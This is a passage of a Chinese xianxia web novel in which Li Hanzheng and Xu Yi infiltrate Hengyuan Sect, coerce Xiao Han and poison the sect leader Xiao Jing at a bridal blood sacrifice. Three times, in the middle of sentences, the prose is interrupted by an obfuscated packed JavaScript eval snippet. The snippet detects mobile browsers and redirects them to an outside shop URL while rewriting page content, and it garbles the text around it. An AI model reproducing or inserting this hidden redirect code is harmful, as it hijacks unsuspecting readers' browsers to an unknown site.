有那么很短的一瞬间,许易觉得,此前所有的孤愤与悲伤都离他很远很远。 * 寅时三刻,整座华灵宫闹翻了天。 萧含脸上青一阵白一阵,气得整个人都要冒烟。 好个许易,竟然摆了他一着。 不仅让他得意洋洋自以为胜券在握地对着空气演了半天,后面还做梦梦见了……梦见了那种恶心到令人发指的情节! 他的脸上顿时一阵火辣辣的羞耻。 放了那么多狠话,猖狂笑了那么久,笑到现在腮帮子还有些酸软,自以为酣畅淋漓报了一直以来的屈辱,没想到被反将一军。 让他觉得自己像一个上蹿下跳的小丑。 “敢如此愚弄于我,好啊,许易,没想到你这个蠢东西还能如此狡猾,真是知人知面不知心。” 他目光阴鸷地下令:“通知所有守卫,华灵宫闯入外敌,就算是把华灵宫给翻过来,也要给我找到许易和他的同伙!” 命令层层下达,处于睡梦中的华灵宫一瞬间苏醒过来,无数火把晃动,脚步声凌乱而嘈杂,侍卫们手持着白亮的剑刃于黑暗中穿梭。 与此同时,这件事也惊动了华灵宫的主人——衡元宗掌门萧景。 萧含踏入房间,一道巍峨宽广的身形背对他而立,萧景似乎在欣赏着墙上的画。 萧含嘴唇嗫嚅几下,缓慢靠近,还没出声,一道巴掌就扇在他脸上,用力之大,萧含的脸都被扇到了一边,脸颊上迅速浮起了一个清晰的手掌印。 萧含迅速跪在地上,嘴里混着血和被打掉的牙齿,大声道:“儿子办事不力,请求父亲责罚。” “说说看,你什么事办的不好。” 萧含面上浮现屈辱,过了会,才咬牙道:“许易对父亲还有用处,我不该对许易抱有杀心。” “错了。”萧景威严地转过身,伸出一只宽厚的掌轻轻在萧含被打的一侧脸上抚摸,“含儿,我是希望你记住,你是衡元宗的少掌门,你想杀谁,只要你杀了,我便不会怪罪你。只是你不该想杀却没杀成,这样才是丢了我的脸!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177319|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧含眸中一喜,“父亲,您的意思是我可以杀了许易?” “当然,”萧景拍了拍他的头顶,“只是你不许失败!” 得到了父亲的授权令,萧含退了出去。 从房门走出的瞬间,他面容上的欣喜迅速变成轻蔑,在心中暗骂了一句“老匹夫”。 这场父子情深演得他作呕。 萧含拿着令牌调动了更多侍卫,阴森地下令:“一个时辰内,我要看见许易,不管是死是活。” 然而,一个时辰过去了,华灵宫被翻了三次,仍是没有发现许易的身影。 萧含暴怒之下砸了许多东西,“你们这群废物!都是废物!连个废人都找不到!啊?你们说,他一个废人能躲去哪?” 所有人都噤若寒蝉,瑟瑟地低下头。 突然一个声音小声道:“或许许易已经逃出了华灵宫。” “用你说,”萧含又砸了一个茶杯,目欲喷火:“还不给我去找!” 侍卫们再次浩浩荡荡地出动了,搜寻以华灵宫为中心铺展开。 萧含则回到了寝房,乱发一通脾气,砸了不少东西。 若换在平时,他一定会更加稳重,不如如此气急败坏,可是今日,他被向来瞧不起的许易摆了一着,这让他怎么也咽不下这口气。 一想到许易现在不定在那个角落里,嘲笑他落入陷阱的蠢样,萧含就忍不住想要将许易碎尸万段的怒火。 他气喘吁吁地坐下,突然,一把匕首抵在他的颈脖间。 含着笑意的女声此时听在他耳中不吝于恶鬼索命,轻轻悠悠地飘入他耳中,将他浑身的血脉一寸寸凝结。 “别动,我会杀你哦。” 李寒筝笑得有些愉悦。 萧含可真是愚蠢得令人怜爱了,他恨不得立刻找到许易,便尽可能地发动了所有守卫。 仆役下人们和低级的守卫们不明所以,只见手持灵剑的侍卫四处翻查,于是惊恐得四处乱窜。 因此整个华灵宫都乱成了一锅粥。 越乱,越是能浑水摸鱼。 而此时最危险的地方恰恰就是最安全的地方,毕竟谁敢翻萧大公子的房间呢? 于是李寒筝便带着许易浑水摸鱼躲在了萧含的房间,又见萧含进来,不管不顾地乱砸一通。 这不绑架威胁一番,实在是太对不起如此天赐良机了。 萧含瞪大了眼睛,满是刮骨的憎恶。 苍白瘦削的许易站到他身前,平静的目光如同一口干枯的井。 萧含从齿间吐出刻骨的两个字:“许易!” 许易没分给他一眼,蹲下身,往他腿上贴了张符纸。 “科普一下,”李寒筝贴心解释,“这张符纸其实是一种毒药哦,它的名字叫做缠丝,一贴到你身上呢,就会融入你的身体,进入你的血液,分化出无数丝线蔓延你身上的每根血管,注意,是每一根哦。假如你不听话呢,这些丝线就会在一瞬间勒紧,把你整个人撕裂。哇哦,是不是很有意思呢?” 豆大的冷汗从额角掉落,萧含喉咙中发出意味不明的低吼,饱含着恐惧与愤怒。他已经感受到了,无数丝线正在他的血管中扎根生长。 他清楚地知道,这个人形容得一点没错。 25. 朱衣血祀(4) “你何必和我对着干呢?”萧含试着劝说,“许易只是个废人,他能给你什么,帮他不如帮我,我会给你很多灵石很多法宝!选择我,才是通天大道!” “这位朋友,是什么给了你同我讨价还价的自信心呢?”李寒筝撑着下巴,“我确实很有礼貌,但这并不代表你就真的能觉得我礼貌。” 刀尖缓慢地在萧含的脖子上游移,隔着薄薄的皮肤,划过正在跳动的血脉。 “做人呢,还是得知道自己的处境,说什么话做什么事都不要逾矩,懂了么?”刀尖轻动,在萧含衣领遮盖的锁骨处划出一道血痕,李寒筝露出堪称温和的笑容,如同在和他聊今天的阳光不错。 萧含声音抖了一下:“懂了……我懂了!” “好了,”李寒筝愉悦道:“既然达成了共识,那么我们就来聊一聊,为什么衡元宗要抓那么多新娘呢?” 萧含瞳孔骤缩:“你问这个做什么?” 李寒筝便打了个响指。 血管中丝线收紧一瞬,萧含疼得整个人弓成了虾米,冷汗如雨落下。 李寒筝用刀柄拍了拍萧含的脸,“方才还说懂了,现下又忘了,萧含,你的记性到底是差到了什么地步?” 萧含眼中划过一抹阴鸷,很快就消失不见,求饶道:“我说,我都说!” 疼痛慢慢缓解,萧含直起身,道:“为了朱衣血祀。” 李寒筝皱眉:“朱衣血祀?” “我只知……”萧含像是回想到了什么,神情有过一瞬的战栗,咽了口唾沫,“只知是向灾殃献上血食,其余的,我真的……真的不知道……” 萧含不似说谎,时间紧迫,再问下去或许又生变故,李寒筝朝系统偏了下头,系统眸中闪过一丝无奈,点了点头。 李寒筝心满意足收了匕首,最后问了句:“最近一次朱衣血祀在什么时候?” 萧含道:“明晚。” “不错,”李寒筝看了眼窗外的天色,“给我们安排一下新娘的身份,这个朱衣血祀,我想去看看。” 萧含惊了一惊,他有些猜不出李寒筝的用意,一个凡人,说出这种话,和老鼠主动走进老虎的嘴巴里有什么区别? 但是……他意味不明勾了下唇,应道:“好。” 这一系列表情变化都落入许易眼中,他冷静旁观,忽然发觉原来他的这位好师弟,演技竟然拙劣至此。 * 萧含虽然蠢且时常自作聪明,但有缠丝的威胁,他倒是不敢轻举妄动,老老实实地给他们弄了两套新娘的衣服,将他们送进了关押新娘的地牢。 地牢里很是昏暗,过道的墙壁上每隔十米才点上一盏烛火,到底不比现代的白炽灯,风一吹,栏杆的影子,锁链的影子,蓬草烟雾的影子,都被扭曲拖曳,鬼影森森,可怖得很。 新娘们关押在三米见方的囚牢里,瑟缩成一团,有些哭,有些沉默,有些破口大骂,有些隔着栏杆说话,有些呆滞地喃喃自语。 李寒筝和许易被关押在相邻的两个囚牢里,牢里的条件简陋,地上铺着一层麻杆,因为常日潮湿而发了霉,有老鼠在阴暗处啮啮作响。 李寒筝找了处干净的地方坐下,点了点肩膀上系统的脑袋,系统很是嫌弃,想要飞开,但牢里都脏得很,唯有李寒筝的肩头还算干净,便只是移了移爪子,开始普及世界观。 “大约五百年前开始,仙门和魔域频繁大战,人域和仙域魔域都接壤,自然也不可避免地被波及。最近的两场仙魔大战,一个发生在三百年前,叫做万雪之战,一个发生在一百年前,叫做断生之战。” “万雪之战?因为下了很多雪么?”李寒筝问道。 “本是要取‘血’字,因为那场仙魔大战死了很多人,寒无海上赤红一片,万里都是白骨相藉,不过‘血’字终归不大好,便用了谐音的‘雪’字。” 系统解释完,爪子在李寒筝肩膀上踩了踩:“不要总是打岔。” “给你普及一个概念,灾殃。” 系统等了会,又用爪子踩了踩,“现在怎么又不说话了?” 李寒筝奇了:“不是你说不能打岔吗?” 系统在黑暗中斜眼蔑视:“你怎的一点都不懂变通?” 李寒筝:“……” 系统又踩了踩,李寒筝端正笑容:“请说。” 系统满意了:“很多人都认为是战乱诞生了灾殃,这句话对也不对,真正诞生灾殃的不是战乱,而是死亡,数以万记的死亡。” “灾殃是一种很神奇的生物,非人非魔,没有神智不知伤痛,只会没有目的地吞噬活物以强大自身,而且灾殃之中也会彼此吞噬,到最后剩下的那个最为强大的,便称为太岁。太岁是拥有神智的,他几乎没有弱点,就算是十个八境修士联合,也未必能够将他杀死。” “另外,就算杀死了,只要残留一点气息,太岁便能够复活。而做到一点气息都不剩下,几乎难如登天,因此不管是修士还是魔族都对太岁十分忌惮。一般情况下,两族开战都有个默认的规定,那便是优先剿灭灾殃,避免太岁的诞生,但这只是一般情况下。” 李寒筝道:“所以还是诞生了一个太岁?” “不错,万雪之战期间,人域爆发内战,死伤无数,诞生了一个太岁,那时寒无海上魔域和仙门拉锯,根本抽不出精锐对付太岁,也导致太岁有充足的时间壮大自身,变得尤为强大。” 李寒筝道:“然后呢?” “人域十三州,几乎五个州都被太岁侵占,仙门的救援迟迟等不来,普通无辜的凡人却在飞速死去,那个时候有一位善于铸造的人族官员站了出来,她叫做绯谣,后世人将她称为匠造祖师。” “绯谣率领百名人族工匠,打造出万器之城,在永州封印了太岁,也因此绯谣飞升成神,是古往今来唯一一位凡人神明。” 李寒筝无声地为这位传奇人物鼓了下掌,道:“然后呢?” 系统又不满意了,再次踩了踩李寒筝的肩膀:“你就只会说然后吗?” 李寒筝手动给系统换了一边肩膀:“这边也踩踩呢?” 系统哼了一声,继续科普道:“两百年后,也就是断生之战的前夕,人域再次爆发内乱,绯谣不忍心看百姓在战火中煎熬,于是离开神域来到人间,挑中了一位人族皇子,辅佐他平定四海。” “然而这位人族皇子却听信了佞臣谗言,想要利用太岁一举消灭敌军,绯谣没有同意,”系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177320|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默了会,道:“于是人族皇子背叛了绯谣,偷走了万器之城的钥匙。” “绯谣不是神明么?”李寒筝道。 “但神明是不允许参与人间因果的,一旦干涉人间因果,便会受到天道反噬,那个时候绯谣的反噬已经很严重了,人族皇子钻了空子偷走了钥匙,打开了万器之城,这个时候他才知道他被骗了,太岁虽然吞噬了敌军,却也反过来对付他的军队。” “太岁已经不可控,绯谣请求仙门帮助,但是你知道的,这个时候,断生之战已经开始了,仙门自身尚且焦头烂额,根本不可能分出心思对付太岁,更何况,太岁不是那么简单就可以对付的。” 李寒筝轻声道:“所以?” “所以绯谣用自己为封印,将太岁再一次关进了万器之城,也因此,绯谣身消神陨。” 李寒筝叹了口气,觉出一种旷大而沉重的悲凉,片刻后终于回过神:“朱衣血祀祭祀的是太岁?” 系统道:“按理来说是不可能的,因为绯谣身陨万器之城,从某种程度来说,万器之城便是神域,早就与世隔绝,无人能入,也无人能寻其踪迹,但总有些人想要祭祀太岁,利用太岁的力量。” 李寒筝还是有些疑惑:“所以为什么要用新娘?这里面有什么说法么?” 系统道:“祭祀太岁有一百多种方法,用新娘为血食只是其中一种,因新娘喜服为红色,故称朱衣血祀。” 李寒筝问:“朱衣血祀是其中最强的吗?” “不是,朱衣血祀大约能排进前二十,因其怨气强盛。” “最强的呢?” “第一等自然是用修仙者祭祀,修仙者天赋越好修为越高,效用就越好。” 李寒筝搓了搓下巴,所以为何要选择朱衣血祀呢? 她思索良久,靠着栏杆睡了过去,醒来的时候已是午时,她动了动有些发麻的身体,肩头有什么东西滑落,这才发觉一件外裳披在她的身上。 许易靠在栏杆的另一侧,浑身只一件单薄的红色里衣,闻声微微侧头:“李姑娘,你醒了?” 李寒筝将外裳折好,从栏杆缝隙递过去,“快点穿上,别着凉了。” 许易接过衣裳,却将衣裳放在膝上,道:“我虽修为倒退,但亦不至于着凉,李姑娘不必担心。” 李寒筝点了下头,脑海里复盘着华灵宫内的所见所闻,随口问道:“衡元宗的掌门为什么要收养你?” 问出口她方知不妥,许易温声道:“无妨,我已放下。” 许易回忆着道:“据一位长老所言,我母亲和掌门曾是未婚夫妻,后来我母亲和我父亲两情相悦,便和掌门解除了婚约,虽没了未婚夫妻的关系,掌门仍对我母亲多有关照,亦和我父亲结为挚友。我父母逝后,掌门言照顾挚友之子,便收养了我。” “不过,”许易面上神情冷淡了几分,“现在想来,大约是沽名钓誉,名为照顾实为利用,可恨我父母到死都被蒙骗,引他为挚友知己。” “许兄不必伤怀,”李寒筝在许易肩膀上用力拍了拍,一副豪气万丈的模样:“今夜,便是衡元宗掌门萧景的死期!” 许易一怔,只当李寒筝是在安慰他,不由笑了,“多谢。” 26. 朱衣血祀(5) 酉时三刻,最后一缕夕阳晦涩成深蓝,夜幕铺天盖地笼下。 黑甲执刃的侍卫们一字列开,打开囚门,将害怕的新娘们强行扯出来,嘴巴绑上布条,脚腕扣上铁链,双手反押在身后。 新娘们没有反抗的余地,只能够踉踉跄跄地被推着往前走,进入一条光线黯淡的甬道。 走了许久依旧寂静,只有脚步声,铁链碰撞的当啷声,呼吸声,低微的啜泣声混在一起,被黑暗吞噬。 李寒筝感觉到阴凉潮湿的风从前方的黑暗中吹来,行进的道路不断向地下延伸。走了许久,豁然洞开,这是一个嶙峋深广的石洞,光线黯淡,前方劈开一道悬崖,下方是汹涌的暗河,有吊桥和对面的石台相连。 侍卫押着新娘们走上吊桥。 这吊桥像是已有了百年岁月,铁链上生满了滑腻腻的青苔,脚下木板更是旧损不堪,走上去便开始晃荡,发出吱呀吱呀不堪重负的呻吟。而桥上冷风更甚,混合着冰凉的暗河水汽,几乎可称刺骨寒凉。 种种一切,都昭示着不详。突然之间,一名新娘惊叫了一声,瘫软在地,仰起的目光里充满着惊惧。 李寒筝顺着她的目光抬头往前看,那是一个巨大的石像,耸立在石台的上方,骷髅脸,白骨身,面目狰狞,獠牙里雕刻着断肢残腿的人们正在惊恐害怕地挣扎,不论是脸上畏惧的神情,还是拼命挣扎的动作,全都栩栩如生,像是下一秒就要被吞吃入腹。 石像顺着岩壁雕刻,像是探着身子俯视众人,威压沉沉,骇人之势扑面而来,抬头一看,乍然之间仿若成真。 侍卫们一言不发,强拽着新娘们往前走。 过了吊桥,踏上石台,石台中间是一座大约五尺高的圆形高台,高台四周矗立着二十四根石柱,柱身雕刻着恶鬼噬人的浮雕,石柱顶端捧着熊熊焰火,地面上是繁复的石槽花纹,这些花纹看了就给人带来一种阴冷寒凉的感觉,像是被一双邪恶的眼睛凝视。 李寒筝猜测,这便是祭祀太岁的阵法了。 侍卫们训练有素地用铁链将新娘们绑在石柱上,新娘们大约有四十多人,每两人绑在一根石柱上,李寒筝和许易正好绑在一根石柱上。 萧含站在祭坛下,唇边是轻蔑的笑容,他觉得李寒筝和许易很蠢,一天时间足够他找到解开缠丝的法子,李寒筝怎么敢认为能够用缠丝一直要挟他呢? 而站在他身侧,身形高大的男子便是萧景,他有一张见之可亲的脸,笑起来像个和蔼的中年大叔,此时他也笑了,却带着一种居高临下的轻蔑。 萧景高声道:“我的乖徒儿带了一位好友来此,怎么不出来见见?” 天底下没有李寒筝解不开的锁,石柱上的铁链同样不能,她三秒钟解开自己和许易身上的锁,铁链应声而落,在地面上发出叮当一声响。 随之而来的是叮叮当当无数道连续的响声。李寒筝打开上弦月,扣动暗门,蝴蝶括轻响,伞骨中无数暗器一齐发出,霎时间,黑暗中几十名侍卫来不及发出一点声音就已经倒下,而新娘们却分毫无损。 萧景和萧含面前落了一地暗器,同样毫发无损。 萧景拍了拍手,清脆的掌声在空旷的石洞里回荡,“这便是小友的见面礼么?果真让老夫大开眼界。” * 大门砰地一声被踹飞。 倒在温柔乡里醉生梦死的西磨山大当家韩九跌下椅子,惊慌失措地往前看。 裴玉仪逆着光走进来,衣摆飘飞。 一名小喽啰站出来,指着裴玉仪,嚣张道:“你是谁?还不快给我们大王下跪?” 裴玉仪没说话,只是握住腰间的刀,挽了一个流畅而飒爽的刀花,刀鞘往地上一点。 全场的人都跪下来了。 寂静无声。 这群人里有的平时嚣张不可一世,有的烂醉如泥爱耍酒疯,但是在这个瞬间,全部都听懂了这句无声的威胁。 韩九不一样,他早就跪下了。 能当上大当家,韩九靠的就是他的识时务,是以裴玉仪出场的一瞬间,他就知道自己没有赢的可能,当下便标标准准地跪在地上,“仙仙仙君,我错了,不关我的事啊。” 洛意慢一秒走进来,刚好听见这句话,当下快走几步,当着韩九的胸口一踹,喝道:“新娘失踪案难不成与你们无关?快说,李寒筝在哪里?” 韩九被踹翻,麻溜地从地上爬起来,识时务地继续跪着,哭诉道:“各位仙君,新娘失踪案与我们一点关系都没有,这都是泼脏水啊!” 韩九哭得可怜巴巴:“仙君们纡尊降贵想一想,我们都当山匪了,为什么还要干这种偷鸡摸狗的事情啊,莫名其妙背了这么一口锅,我们也很冤枉啊。” 洛意又踹了一脚:“那你为什么不解释?” “解释了呀,”韩九哭得更惨了,“但我们是山匪,没有人信。” 好不容易追到的线索就这样断了,洛意不肯相信,也不敢相信,她挥着剑一个个逼问过去,一声比一声暴躁。 她不敢想象,耽搁了这样长的时间,如果没有找到,会发生怎样的后果。 裴玉仪握紧刀柄,指尖都有些发白。 袁期也有些暴躁了。虽然他知道李寒筝很有成算,鸡贼得很,向来只有她算计别人的份,没有别人算计她的份。 可是,为什么她要主动替嫁?她现在又在哪里? 这究竟是她计划中的一环,还是她真的遭遇不测? 李寒筝,你到底想要干什么? 段梧声站在门外,古井无波的眸子静静看着大殿内的场景。 袁期没好气走过去:“你就一点不担心?好歹也是为了你。” 段梧声轻轻看他一眼,“我在想一个问题。” 裴玉仪走过来:“什么问题?” 段梧声道:“这些新娘失踪案,一定有一个共同特点,不是婚礼,不是嫁衣。” 他转过身,这是山巅,长风吹过万里绿浪,盈起他的衣袖。 段梧声垂眼看着万里绵延的山势,目光定格在衡元宗的方向:“而是庚贴,每一分庚贴都会交由官府报备。” “只有衡元宗,能够在不引起任何怀疑的前提下获悉所有庚贴。也只有衡元宗,能够嫁祸山匪。” * 萧景的目光从许易身上划过,看向李寒筝,慈祥地笑了笑:“我这个徒儿天真单纯,不知人间险恶,更不会这样一环扣一环的算计,所以说,昨晚的动乱是你弄出来的吧?小姑娘。” 他这样的语气,好像一切阴谋与算计都从来未有,而现在,他只是以责备亲昵的口吻关心自己的得意高徒,夸赞徒弟带回家的朋友。 许易冷呵一声,随手从死去的侍卫腰间拔出一柄剑,剑尖直指萧景。 但是现在,谁都没有看他的剑刃。 李寒筝羞涩地笑了笑,道:“对呀,早闻华灵宫防守森严,晚辈顽劣贪玩了些,便想着闯一闯,弄坏了前辈不少东西,前辈不会怪罪吧?” “当然不会怪罪,”萧景爽朗一笑,“只要你告诉我,你从哪里知道的华灵宫,又知道多少?老夫便送小友快速上路,绝不会让你感受到半分痛苦。” “是么?前辈真是贴心,”李寒筝闲聊般搭茬:“那么不如前辈先告诉我,到底为什么要选择朱衣血祀?” 萧景神色阴鸷一瞬,又换上笑容:“小友听谁说的,这可是天大的误会,我只是请这些姑娘来我华灵宫坐一坐。” 他一边说,一边朝着李寒筝走近。 “来,小姑娘,告诉我,是谁告诉了你关于华灵宫的一切?拖时间拖了这么久也该够了吧,你真当老夫看不出来么?你是想要等谁来救你呢?” “告诉你吧,”萧景和煦道:“你等不到的,凭你的实力,在我的手下连一盏茶都撑不到。” 此时,萧景看着李寒筝目光突然一顿,难得地露出些惊讶,“你竟然是个毫无灵力的凡人?” 萧含听见此话不可置信地抬起头。 她竟然是个凡人? 就是这么一个没有灵力没有修为的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177321|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡人把他耍的团团转? “小姑娘,我真是小瞧你了,不过你也未免太高估自己了。”萧景道:“就算你的救兵能找到这里,你也绝对等不到,我这石洞外,早就设了重重阵法阻碍。” 李寒筝手握上弦月伞柄,笑着道:“前辈不愧是前辈,这都料到了,果真老谋深算。” 许易沉默地握着剑,长而细的剑刃挡在李寒筝的身前。 “瞧瞧我的好徒弟,竟然也有想要保护的女孩子了,还是个这么漂亮这么聪明的女孩子,为师很是欣慰。” 萧景掌间汇聚灵力,惋惜道:“可惜很快就漂亮不了了,许易,你这么愚蠢,又保护得了谁呢?” 话落,他已经瞬移到李寒筝前方,一掌拍出! 看起来只是随意的一掌,却如同排山倒海的巨浪轰然而至。 这是修士对凡人的碾压,如同云泥之别,风暴中心的人只是卑微的蝼蚁,躲不掉,也没有时间去躲。 这一瞬间,甚至都不够撑开上弦月。 “砰——” 狂风掀起,石柱的影子纷乱晃动,上方有无数碎石落下。 李寒筝只觉狂风刮面,黑发和衣裙在风中狂舞,身前挡着的身影却未动分毫。 许易横着一把剑,薄薄的眼皮倏地掀起,如同刀刃出鞘,直直地看着萧景。 “若你对上你师父,胜算如何?” 牢房内李寒筝的问题回响在他脑海。 “一成不足。”许易苦笑。甚至一成不足都是奢望,他只剩下微末的修为,就算剑术如何高超,也全无用武之地。 “别灰心呀,”李寒筝无所谓地笑着,毫不畏惧的样子,“若是加上这些丹药呢?” 她可是从袁期那里薅了不少丹药呢。 “你的身体如同一个漏斗,所有吸收入体内的灵力都会迅速散去,那么如果供给灵力的速度大于灵力消散的速度呢?” 许易呼出一口气,呼出的气息冰凉,在空中冻成白雾,眼睫上都凝结着白霜。 许久未体验过这种灵力充沛的情况了。 进入这里之前,他已经吃下了三颗灵元丹。 李寒筝问他吃灵元丹有没有什么限制。 他说没有。 其实是有的,如果身体不能够承受住灵元丹汹涌而肆虐的灵力,那么就会经脉尽断,甚至于爆体而亡。 只不过赌一把又何妨呢? 萧含说得没错,他是个废人,是个傻子。 只不过废人和傻子也有想要保护的人。 对上许易眼中冷锐的光,萧景神情微微一滞,依稀见到了那个曾经意气风发的弟子。 那样的天赋卓绝,也那样的……令人不悦。 萧景的神情冷下去:“丹药堆出来的修为,又能支撑多久呢?” 许易提剑前刺,冷冷道:“废话真多。” 两人缠斗起来。许易修为仍在的全盛时期仍旧不是萧景的对手,更别提只是靠着灵元丹勉力支撑。 他理应落败。 然而修为消失的五年,废人一词抹去他所有荣耀和光彩,他只能够日复一日地锤炼剑招,专注于剑术本身,这令他对分寸的拿捏和对变化的领悟达到了一种登峰造极的地步。 再加上身临绝境,背后又有此生一定要保护的人。 他的剑术中陡然多了一抹狠厉暴虐,像是从沉睡中生出了一抹魂,因此与萧景对战下来竟丝毫不让,甚至隐隐有克制超越的势头,达成了一个诡异的平衡。 萧景暗暗吃惊,终于开始正视这场战斗,他祭出本命剑,目光陡凝,浑身气势更加低沉,如同积蓄着风暴。 修士之间的战斗灵力肆虐,李寒筝撑着上弦月没受什么影响,而新娘们都被灵力风暴震晕,李寒筝撑着伞挨个给她们喂了一颗含清丹,能够很大程度上地护住她们。 战斗中的两人身影越来越快,快得让人分辨不清,一时间只剩下了虚影,剑光纷飞,如大雪漫天。 然而萧景知道,这只是时间问题。 27. 朱衣血祀(6) 时间如雪花落下,许易的动作越来越慢,破绽也越来越多。 “乖徒儿,你的成长真是令人惊讶呀,”萧景眸中闪过一抹狠厉的妒色,随即又被伪装出来的和善给压下去。 这么阴暗的嫉妒让他等不及许易疲软的那一刻到来,眸光一闪,浑身气息便骤然变得森寒凌冽,浓稠的魔气从他身上散发出来,灌入长剑,破空而下。 “砰——” 许易整个人猛地飞出,重重砸在祭坛上,狰狞的伤口从左肩贯穿到腹部,深可见骨。 身下鲜血漫开,如同一朵大红的山茶花,看起来妖艳而触目惊心。 萧景嗤笑一声,转向了李寒筝:“小友别急,这就到你了。” 李寒筝脸上却没有害怕之色,反而鼓起掌来,笑着道:“前辈果真厉害,当然,我指的不是现在,而是你害死你的前未婚妻的时候,如此蛇蝎心肠,我真是自愧弗如。” 萧景神色陡变,一时忘了伪装:“你从何得知?” “这么简单的事还需要谁告诉吗?”李寒筝立在祭坛上,烛火和阴影在她大红色的喜服上潋滟变幻,金线勾绣出的凤凰曳着金灿灿的尾羽,栩栩如生,看起来就像是环抱在她的腰侧。 “前辈的为人,我是知道的,虚伪,自私,善于伪装,笑里藏刀。当年解开婚约的场景很狼狈吧,婚礼当天新娘子跑了,嫁给了别人,你忍着嫉妒装出一幅大度的样子,表面上仍做好友知己,实际上却设计害死他们。” “一派胡言!你简直找死!” 萧景额头青筋暴起,身影如电,一瞬间便到了李寒筝身前,伸手扼住李寒筝白皙而纤细的脖子,将她凌空举起来。 上弦月掉落在地,骨碌骨碌转了几圈,李寒筝没去管,语速反而更快了,字字清晰,如珠落玉盘:“你仍旧对当年的事情耿耿于怀!你嫉妒啊!你恨啊!所以见不得新嫁娘欢笑的样子,每一次见都让你想起了当初的自己,所以你选择了朱衣血祀!” 萧景后牙紧咬,缓慢收紧手中的力道:“你年纪尚轻,胡说八道可以理解,只要你承认你在说谎,我便让你死得干脆一些。” 李寒筝本来只是随口猜测,现下便更加确定,她说的一点也没错。她不仅没有承认,反而露出了一个嘲讽的笑容。 萧景立刻收紧手指,年轻女孩的脖子就像春日里嫩嫩的幼笋,一掐就断了,李寒筝双手用力扒拉着他的手,却如同蝼蚁试图撼动大山,不过徒劳无功而已。 她皎白干净的脸迅速涨满血色,微张着嘴像是脱水的鱼,眼中的水光薄薄欲碎。 萧景畅快地笑了,他仿佛看见了当初那个背叛自己的女人,提着鲜红的嫁衣朝另一个男人飞奔而去,这个画面很快被另一个画面代替,女人倒在泥土里,白色的衣服晕开血色,目光里满是不可置信。 萧景看向许易,笑得更加愉悦:“知道又如何,你们今天都得死在这里,真是可惜啊许易,假以时日,你定能超过我。可惜,你缺乏的只是时间。” 许易从近乎昏倒的疼痛中清醒,他缓慢抬头,粘稠而刺目的鲜血从他的齿间溢出,他却学着李寒筝,露出一个满不在乎的笑容,这是他进入秘境以来第一个轻松的笑容,“是啊,只是时间。” 牢房中,李寒筝伸出纤长的指尖在地面上的草图上点了点,“许易,我们缺的只是时间。” “好在,”许易转动视线,看着李寒筝眼底明亮的笑意,也忍不住继续微笑道,“刚好还是够了。” 萧景猛地一滞,陡然发现自己的儿子似乎很久没有说话了,他转头一看,萧含不知道什么时候已经躺倒在地,直挺挺地躺着,只有一双眼珠在转动。 体内绵长奔涌如江河的气息隐隐凝滞,像是凭空遇见了一座天堑。 萧景不可置信地将视线凝在李寒筝脸上。 李寒筝面颊涨得通红,却满不在乎地笑了,居高临下的目光从半阖的眼睫下投出,声音断断续续,却一字一字很是清晰,“蠢……货……” 萧景怒气上涌,想要捏死这个不知天高地厚的凡人女孩。 但是他已经回天乏术了。 从指尖到肌肉,全身上下都在迅速僵化。 李寒筝手动掰开萧景僵硬的手掌,跳落在地,捂着已经通红的脖子咳了几声。 她揉着颈脖缓解痛楚,理了理裙摆,好整以暇地绕着萧景走了一圈。 “我猜你已经知道为什么了。”李寒筝打了个清脆的响指,“没错哦,你猜的没错,就是那种毒药了,名字叫做缚山。这个毒药呢,有一个特点,就是对强者十分有效。吸入体内之后,随着灵力运转而迅速侵入五脏六腑七经八络。” “考虑到前辈你呢,实在老谋深算,所以我们也不敢班门弄斧,指望缠丝能够永久要挟萧含。” 李寒筝弯唇笑了下,是那种很乖的笑容,如同晚辈端出自己不完美的成果,半是谦逊半是自傲地等待长辈的回答。 “但是呢,您不知道吧?缠丝一解就变成了缚山,而且会传染,无色无味,很棒吧,前辈你靠近萧含的时候,毒雾就已经进入你的身体了呢,而且呢,灵力周转越快,情绪越激动,缚山发作得就越快呢。” “难怪……难怪!”萧景如遭雷击,说话都有些气抖,“你可真是好算计,来到这里的一分一秒也没有浪费!” “前辈谬赞了,这又算什么呢。”李寒筝背着手慢慢踱步,如同一个闲散的小老头,最后停留在正对石像的位置,仰起头来细细打量。 萧景见状,额头出了层细细的冷汗,他克制着自己的视线不往某个地方看,用商讨的语气道:“费了这样大的周章,你是何人所派?又到底想要什么?我保证能够付出你背后之人双倍的酬金。” “双倍的酬金,真是令人心动啊。” 李寒筝感叹了句,倏地转过身,弯起唇笑:“前辈你是害怕我发现什么吗?” 